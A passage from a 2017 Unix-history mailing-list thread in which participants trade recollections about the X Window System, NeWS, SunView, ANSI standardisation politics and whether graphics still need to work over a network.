stuck at this state, version 10, for a long time.  Sun announced NeWS during
this stagnant period.  Freaked out Apollo, DEC, HP, etc. who got together at
DEC's Hamilton Avenue building to plot the "anything but Sun" strategy.  They
were successful in holding off the adoption of NeWS until they could rewrite
X to eliminate many of the synchronous round trips from the protocol resulting
in X version 11 which was pretty much completely incompatible with version 10.

In many respects Sun botched NeWS politically.  Large numbers of businesses
relied on applications that ran on Sun's SunView window system which was
heavily hooked into the OS and not even remotely portable.  They couldn't
use NeWS instead of SunView because they were running real businesses.  There
was no way to run SunView and NeWS at the same time so businesses couldn't
run new NeWS-based applications and old SunView applications at the same time.

I'm a bit fuzzy here, but the decision to merge X and NeWS was a bad technical
solution to a political problem.  Sun wanted to be able to say "We have X too."
Unfortunately, folks at Sun agreed to do this project without knowing what they
were talking about; it got rough when they realized that the NeWS and X
graphics models were completely incompatible.

Oh, despite all of the hype, there was actually nothing useful that one could
do using X at the time.  Not being very well socially adjusted, I annoyed a
lot of people by going to show floors and looking at X running things like maze
and loudly proclaiming "Oh, that's exactly what I do for a living."

Somewhere along the line Sun also decided to produce a mostly automated system
to convert SunView programs to use X.  I think that this was called XView.  I
remember billing for many a late night to actually get the thing working.

One of my other clients at the time was AED (advanced electronic displays).
If you were lucky enough to have a color frame buffer in those days it was
likely one of theirs.  They had a project to build X accelerator boards that
plugged into Sun workstations.  I think that I got called in because it
wouldn't work on the 3/260 which I eventually tracked down to the behavior of
the cache that only the 260 had.

AED was trying to figure out what to do as the world had changed and frame
buffers couldn't compete with workstations.  I came up with the idea to make
an X server that would run in a SunView window so that companies that relied
on SunView applications could run X applications concurrently.  We called this
XTool in keeping with the SunView application naming scheme.  I think that I
still have a few "XTool - Safe X for Suns" tee shirts around somewhere.  This
project unfortunately failed because AED was bought by someone with a "ship it
now, that'll force folks to fix the bugs" attitude.  XTool was very small and
fast compared to the X sample server because I wrote the server from scratch.
I think that I'm the only person to write an X server outside of the X
Consortium.  One of the things that I learned by doing it was that the X
Consortium folks were wrong when they said that the documentation was the
standard, not the sample server.  There were significant differences between
the two.

We showed XTool off at some shows.  People would come by the booth and ask
"how did you get it to run so fast?"  Being me, I loudly answered "We cheated.
We designed ours first."  Turns out that one of these times Keith Packard and
Jim Gettys were walking by which resulted in some long-standing animosity.

Back to the standards track.  Any of you that have done ANSI work know that
CBEMA has a one organization, one vote policy.  When Scheifler showed up at
X3H3.6 all other work stopped and X became a draft standard.  Whenever there
was a vote everybody would look to see how Bob was voting and voted with him.
For political reasons, all of the voting members from X Consortium member
companies had been told that they couldn't vote against X for technical reasons.

You may also know that one has to pay to be on an ANSI committee.  I wrote the
ANSI Secretariet and told them that I felt that by having both the X Consortium
and their member companies voting violated the spirit of the one organization
one vote rule, and that I couldn't justify continuing to pay to be on the
committee with this behavior.  They took it under advisement.

Eventually, public review time came around.   I submitted a document containing
something on the order of 800 comments.  These were pretty repetitious because
I had to hit the document one request at a time, but the major themes were:

 o  The only really worthwhile thing about X was the distributed extension
    registration mechanism.  All of the input, graphics and other crap
    should be moved to extension #1.  That way, it won't be mandatory in
    conforming implementations once that stuff was obsolete.  As you probably
    know, that's where we are today; nobody uses that stuff but it's like the
    corner of an Intel chip that implements the original instruction set.  As
    an aside, I upset many when working on OpenDoc for Apple and saying the
    same thing there.

 o  The atom/property mechanism allows clients to allocate memory in the server
    that can never be freed.  Some way to free memory needs to be added.

 o  The bit encodings should be part of a separate language binding, not part
    of the functional description.

I received a reply from the committee that said "Thank you for you comments."
I wrote the ANSI Secretariet and asked "Don't the rules for milestone 9 say
that the technical committee must make all reasonable efforts to accomodate
public review comments?"  The Secretariet wrote the committee.  Everybody on
the committee from companies such as Sun who had bee prohibited from voting
no for technical reasons all jumped up and cried "procedural violation" and
voted against forwarding the standard.  Scheifler stormed out.

I heard later than Scheifler wrote an angry letter to the Secretariet saying
"how dare you listen to that one lone consultant when I have the backing of
all of these major companies?"  The response was "Didn't you read our rules
before joining?"

Of course, by the time all of this settled out X was entrenched setting back
the state of UNIX UI for a long time.  A couple of decades ago I bough a Sun
Ultra-60 and asked whether it was worth paying for the dual processor version.
The answer that I got was "Yes.  You need one processor to run X and another
for everything else."

Wrapping this up, I have a section in the book that I'm writing where I talk
about how to design a good API.  I pose the question of why none of the original
Apple Mac API published in 1985 taking about 1,200 pages is in use today
whereas almost all of the UNIX V6 API published in 1975 taking 321 pages is
still in use and has been copied by many other systems.  I'm sure that everyone
on this list knows the answer.

X suffers from the same problems as the original Mac API.  Scheifler et. al.
didn't really do any system level design and modelling.  I know this because
I discussed it with Scheifler at an ANSI meeting in Tulsa, the only place that
I have travelled to on business that had no redeeming qualities.  He said "I
don't believe in models because they predispose the implementation."

Had he done some real design work and looked at what others were doing he might
have realized that at its core, X was a distributed database system in which
operations on some of the databases have visual side-effects.  I forget the
exact number, but X includes around 20 different databases: atoms, properties,
contexts, selections, keymaps, etc. each with their own set of API calls.  As
a result, the X API is wide and shallow like the Mac, and full of interesting
race conditions to boot.  The whole thing could have been done with less than
a dozen API calls.

Wrapping this up on a happy note, some years ago I was hanging out yakking at
the Hacker's Conference when this guy I didn't recognize due to hair loss came
up to me and said "I'm not going to say that you weren't an asshole because
you were, but you were right."  It was Keith Packard who was trying to get X
running on the OLPC and had run into the issue of clients allocating server
memory that couldn't be freed.  Been good friends since.  Same with Gettys.

Well, that's the whole sordid take from my point of view.  Hope that you
enjoyed it.

Jon


From lm at mcvoy.com  Wed Sep 13 08:58:51 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 12 Sep 2017 15:58:51 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
Message-ID: <20170912225851.GG7819@mcvoy.com>

On Tue, Sep 12, 2017 at 03:11:03PM -0700, Jon Steinhart wrote:
> In many respects Sun botched NeWS politically.  Large numbers of businesses
> relied on applications that ran on Sun's SunView window system which was
> heavily hooked into the OS and not even remotely portable.  

The rest of your story is great, just one small correction.  SunView started
as something Sun specific but it pretty quickly became a library on top of
X11.  I'm not sure if it ever worked on X10, I think it did but I'm not sure.

Source: I've hacked up GUI interfaces for the SCM I did at Sun in Sunview.
This would have been around 1990, is that still X10 or X11?

> We showed XTool off at some shows.  People would come by the booth and ask
> "how did you get it to run so fast?"  Being me, I loudly answered "We cheated.
> We designed ours first."  Turns out that one of these times Keith Packard and
> Jim Gettys were walking by which resulted in some long-standing animosity.

Heh.  I can only imagine.  ROTFLMAF.

> Wrapping this up on a happy note, some years ago I was hanging out yakking at
> the Hacker's Conference when this guy I didn't recognize due to hair loss came
> up to me and said "I'm not going to say that you weren't an asshole because
> you were, but you were right."  It was Keith Packard who was trying to get X
> running on the OLPC and had run into the issue of clients allocating server
> memory that couldn't be freed.  Been good friends since.  Same with Gettys.

Awesome.

> Well, that's the whole sordid take from my point of view.  Hope that you
> enjoyed it.

I sure did, love to meet you some time, where are you?

--lm


From jon at fourwinds.com  Wed Sep 13 09:22:27 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 16:22:27 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <20170912225851.GG7819@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <20170912225851.GG7819@mcvoy.com>
Message-ID: <201709122322.v8CNMRUu011489@darkstar.fourwinds.com>

Larry McVoy writes:
> 
> The rest of your story is great, just one small correction.  SunView started
> as something Sun specific but it pretty quickly became a library on top of
> X11.  I'm not sure if it ever worked on X10, I think it did but I'm not sure.
> 
> Source: I've hacked up GUI interfaces for the SCM I did at Sun in Sunview.
> This would have been around 1990, is that still X10 or X11?

Well, just to nitpick, I remember that much of SunView was a library but it
relied on special device drivers with complicated ioctls and such.  I don't
recall that it be easily separated from the OS.

BTW, on a historically amusing note, I still have two old Sun machines in the
basement, a SparcStation 20 and an Ultra-60.  The 20 has whatever graphics card
supported double-buffering.  It has a modified kernel thanks to some unnamed
(and unremembered at this point) soul who provided source code.  I hacked it so
that SunView ran in one of the buffers and X ran in the other.  Moving the mouse
off of the edge of the screen switched which buffer was displayed.  My answer to
being able to run both SunView and X.

> I sure did, love to meet you some time, where are you?

I live in Oregon, about 50 miles southwest of Portland.  I will probably be
in San Francisco the first full weekend of October for the Hardly Strictly
Bluegrass Festival if you're in the bay area.  Will be staying at Sun employee
#5's house.

Jon


From dave at horsfall.org  Wed Sep 13 09:33:01 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Wed, 13 Sep 2017 09:33:01 +1000 (EST)
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
Message-ID: <alpine.BSF.2.21.1709130931400.89458@aneurin.horsfall.org>

On Tue, 12 Sep 2017, Arthur Krewat wrote:

> Oh, do, please go on ;)
>
> On 9/12/2017 11:35 AM, Jon Steinhart wrote:
>> As the guy who single-handedly prevented X from becoming an ANSI 
>> standard, I'd be happy to start another thread on this topic if people 
>> are interested.

Seconded...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From torek at torek.net  Wed Sep 13 09:44:01 2017
From: torek at torek.net (Chris Torek)
Date: Tue, 12 Sep 2017 16:44:01 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: Your message of "Tue, 12 Sep 2017 16:22:27 -0700."
 <201709122322.v8CNMRUu011489@darkstar.fourwinds.com>
Message-ID: <201709122344.v8CNi1w8093101@elf.torek.net>

>Well, just to nitpick, I remember that much of SunView was a library but it
>relied on special device drivers with complicated ioctls and such.  I don't
>recall that it be easily separated from the OS.

My (fuzzy) memory was that you called library routines to do
rasterops, and they consulted with the specific frame buffer
hardware in a way that, to (mis)quote Dennis Ritchie, had:

   unwarranted chumminess with the ... implementation

[see http://c-faq.com/struct/structhack.html for actual quote].

This meant if your rasterop was misbehaving, it could be a
bug in a driver, or in the hardware.

(I remember this from trying to chase down some weird rasterop
behavior, or some such.)

Chris


From ats at offog.org  Wed Sep 13 09:41:23 2017
From: ats at offog.org (Adam Sampson)
Date: Wed, 13 Sep 2017 00:41:23 +0100
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com> (Jon
 Steinhart's message of "Tue, 12 Sep 2017 15:11:03 -0700")
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
Message-ID: <y2ashfrxz6k.fsf@offog.org>

Jon Steinhart <jon at fourwinds.com> writes:

> I think that I'm the only person to write an X server outside of the X
> Consortium.

When I was doing my PhD a few years ago, one of the case studies I used
was an X11 server that was written in occam 2 by Colin Willcock at the
University of Kent at Canterbury. I managed to recover Colin's source
code for the X server (in Transputer Development System format), which
is dated November 1988, from a very dusty machine backup...

I also found the sources for Colin's 1991 report to the funding body on
the completion of the project, and his 1992 PhD thesis which describes
the same work. I rebuilt these in 2010 using a modern version of TeX, so
the appearance is probably different from what Colin intended (and the
cover-page dates are definitely wrong), but they're quite readable:

https://stuff.offog.org/cw3-report-rebuilt.pdf
https://stuff.offog.org/cw3-thesis-rebuilt.pdf

Note in particular the motivation stated in the report: "The worst of
these problems was the MEiKO C compiler, which (by mid-1988) proved
incapable of making any significant headway when presented with the
public-domain X-sources. [...] After consultation with the project
monitoring officers at RAL, we took the decision to investigate the
prospects for a complete re-implementation of the X-server in occam 2,
making no use of the public domain C sources."

There have of course been other X server implementations more recently,
but they're less historically interesting!

-- 
Adam Sampson <ats at offog.org>                         <http://offog.org/>


From jon at fourwinds.com  Wed Sep 13 10:14:17 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 17:14:17 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <y2ashfrxz6k.fsf@offog.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
Message-ID: <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>

Adam Sampson writes:
> Jon Steinhart <jon at fourwinds.com> writes:
> 
> > I think that I'm the only person to write an X server outside of the X
> > Consortium.
> 
> When I was doing my PhD a few years ago, one of the case studies I used
> was an X11 server that was written in occam 2 by Colin Willcock at the
> University of Kent at Canterbury. I managed to recover Colin's source
> code for the X server (in Transputer Development System format), which
> is dated November 1988, from a very dusty machine backup...
> 
> I also found the sources for Colin's 1991 report to the funding body on
> the completion of the project, and his 1992 PhD thesis which describes
> the same work. I rebuilt these in 2010 using a modern version of TeX, so
> the appearance is probably different from what Colin intended (and the
> cover-page dates are definitely wrong), but they're quite readable:
> 
> https://stuff.offog.org/cw3-report-rebuilt.pdf
> https://stuff.offog.org/cw3-thesis-rebuilt.pdf
> 
> Note in particular the motivation stated in the report: "The worst of
> these problems was the MEiKO C compiler, which (by mid-1988) proved
> incapable of making any significant headway when presented with the
> public-domain X-sources. [...] After consultation with the project
> monitoring officers at RAL, we took the decision to investigate the
> prospects for a complete re-implementation of the X-server in occam 2,
> making no use of the public domain C sources."
> 
> There have of course been other X server implementations more recently,
> but they're less historically interesting!

Cool, thanks for the info.  Based on the date, this was probably X10, not
X11.


From bakul at bitblocks.com  Wed Sep 13 10:29:20 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 12 Sep 2017 17:29:20 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
Message-ID: <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>


> On Sep 12, 2017, at 3:11 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> 
> As
> a result, the X API is wide and shallow like the Mac, and full of interesting
> race conditions to boot.  The whole thing could have been done with less than
> a dozen API calls.


Unix still needs a decent graphics API (ideally one that can work over a network).
Any thoughts on that?

From rminnich at gmail.com  Wed Sep 13 10:52:28 2017
From: rminnich at gmail.com (ron minnich)
Date: Wed, 13 Sep 2017 00:52:28 +0000
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
Message-ID: <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>

On Tue, Sep 12, 2017 at 5:30 PM Bakul Shah <bakul at bitblocks.com> wrote:

> Unix still needs a decent graphics API (ideally one that can work over a
> network).
>
>
does anyone know or care about network graphics any more? From what I can
tell, no.

ron
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/17a08332/attachment.html>

From imp at bsdimp.com  Wed Sep 13 10:54:34 2017
From: imp at bsdimp.com (Warner Losh)
Date: Tue, 12 Sep 2017 18:54:34 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
Message-ID: <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>

On Tue, Sep 12, 2017 at 6:52 PM, ron minnich <rminnich at gmail.com> wrote:

>
>
> On Tue, Sep 12, 2017 at 5:30 PM Bakul Shah <bakul at bitblocks.com> wrote:
>
>> Unix still needs a decent graphics API (ideally one that can work over a
>> network).
>>
>>
> does anyone know or care about network graphics any more? From what I can
> tell, no.
>

I still use them all the time...  But maybe I'm a nobody...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/b3e4f3dd/attachment.html>

From jon at fourwinds.com  Wed Sep 13 10:56:12 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 12 Sep 2017 17:56:12 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
Message-ID: <201709130056.v8D0uCix029857@darkstar.fourwinds.com>

Bakul Shah writes:
> 
> Unix still needs a decent graphics API (ideally one that can work over a network).
> Any thoughts on that?

Wow, big topic.  Rather than getting into it in detail at the moment I'm curious
as to why you think that it's important for it to work over a network.

Before you bite my head off for that question, I'm not suggesting that there's
no value in taking data from somewhere on a network and using it on a local
machine.

Back in the darker ages of the Green Flash (Tektronix storage tubes like the
4014) it was common to display remote data on a local system.  The data in
those days arrived via RS-232.  Depending on the application, one could shovel
4014 commands over the wire or just raw data and use a local program to generate
drawing commands.

I've never been convinced that the way that X did it made sense.  Sure, you'd
here people say things like "your remote Cray can draw stuff on your local
screen."  But it wasn't just that; using X your Cray also had to draw and
manage your user interface: scroll bars, buttons, and so on unless you wanted
to create a separate protocol so that you could run your user interface
locally and have it communicate with the remote application.  Of course, X was
enough of a pig that maybe using a Cray to drive a scroll bar made sense :-)

So before getting off into graphics APIs I think that it would be interesting
to hash this out.

BTW, one of the best things about NeWS was the fact that with a reasonable set
of conventions the user interface personality could live in the server and be
applied to all applications.  Contrast that with X where each application links
in a UI library, and if your screen looks anything like mine there isn't a lot
of consistency because different applications use different libraries.

One of the problems with NeWS was that this was so much fun to play with that
the people doing the work kept on coming up with new ideas faster than they
could implement the old ones so there was difficulty completing toolkit
projects.

Jon


From rminnich at gmail.com  Wed Sep 13 10:56:26 2017
From: rminnich at gmail.com (ron minnich)
Date: Wed, 13 Sep 2017 00:56:26 +0000
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
Message-ID: <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>

On Tue, Sep 12, 2017 at 5:54 PM Warner Losh <imp at bsdimp.com> wrote:

>
>
> I still use them all the time...  But maybe I'm a nobody...
>
>
I know I am :-)

It's strange nowadays to try to explain network graphics to interns. I feel
like I'm giving them a tour of Jurassic Park. They like the idea once they
get it, but they have no particular use for it from what I can see. Why
does a phone need it? That's the determinant.

ron

>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170913/c3212f7b/attachment.html>

From imp at bsdimp.com  Wed Sep 13 10:57:43 2017
From: imp at bsdimp.com (Warner Losh)
Date: Tue, 12 Sep 2017 18:57:43 -0600
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <CAP6exYKLGRq5Jsh7RinuURHXQbDcdODZ56ExACKpwqbwOSpS6A@mail.gmail.com>
 <CANCZdfpZgOXA99Vn8E7+=-YHN7kOpOSrsTvPOoBWFqFcaJ6hyQ@mail.gmail.com>
 <CAP6exYLOAWxjzL4SbavuLh4dTYEvTbQ6x_5MYqeCTudWhhiQKw@mail.gmail.com>
Message-ID: <CANCZdfrRZhuUBYg8XSnu3RPTORSi7fsEDVuJpVTgtWi4bvqijQ@mail.gmail.com>

On Tue, Sep 12, 2017 at 6:56 PM, ron minnich <rminnich at gmail.com> wrote:

>
>
> On Tue, Sep 12, 2017 at 5:54 PM Warner Losh <imp at bsdimp.com> wrote:
>
>>
>>
>> I still use them all the time...  But maybe I'm a nobody...
>>
>>
> I know I am :-)
>
> It's strange nowadays to try to explain network graphics to interns. I
> feel like I'm giving them a tour of Jurassic Park. They like the idea once
> they get it, but they have no particular use for it from what I can see.
> Why does a phone need it? That's the determinant.
>

VNC to the phone is the best thing ever... But I like a real keyboard...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170912/c53d3688/attachment.html>

From bakul at bitblocks.com  Wed Sep 13 11:34:42 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Tue, 12 Sep 2017 18:34:42 -0700
Subject: [TUHS] X and NeWS history (long)
In-Reply-To: <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <6C032165-08F5-47CA-A30A-AD95E69996FE@bitblocks.com>
 <201709130056.v8D0uCix029857@darkstar.fourwinds.com>
Message-ID: <DC97EA1F-92FB-40D9-8069-EB6CFCA99304@bitblocks.com>


> On Sep 12, 2017, at 5:56 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> Bakul Shah writes:
>> 
>> Unix still needs a decent graphics API (ideally one that can work over a network).
>> Any thoughts on that?
> 
> Wow, big topic.  Rather than getting into it in detail at the moment I'm curious
> as to why you think that it's important for it to work over a network.

Heavy number crunching generating some data for display may be far
from the one displaying the data.

[sensor input | storage] => [computation} <=> [display/user input]

> Before you bite my head off for that question, I'm not suggesting that there's
> no value in taking data from somewhere on a network and using it on a local
> machine.
...
> So before getting off into graphics APIs I think that it would be interesting
> to hash this out.

Indeed. The question really is where in the pipeline from gobs 
of raw data to number crunching transformations to display
does the network split lie.  In a sense we already have a
split (GPU vs CPU) but it is highly specialized.
 
Camera, mouse, graphics tablet, keyboard, other sensor inputs 
will be (or should be) near the display but may be processed far
away in an application specific manner.
 
I suspect here too we may go through Sutherland's wheel of 
reincarnation.  We can offload more GUI processing in the
server but as GUI becomes more sophisticated (or complicated),
it will feel slow.
 
I can envision using a RaspberryPi as a "graphics processor"
but we still need a protocol between the 'Pi and the
"backend". If done right, I wouldn't want to touch the innards
of the s/w running on the 'Pi when writing a game or something
needing visualization.

> BTW, one of the best things about NeWS was the fact that with a reasonable set
> of conventions the user interface personality could live in the server and be
> applied to all applications.  Contrast that with X where each application links
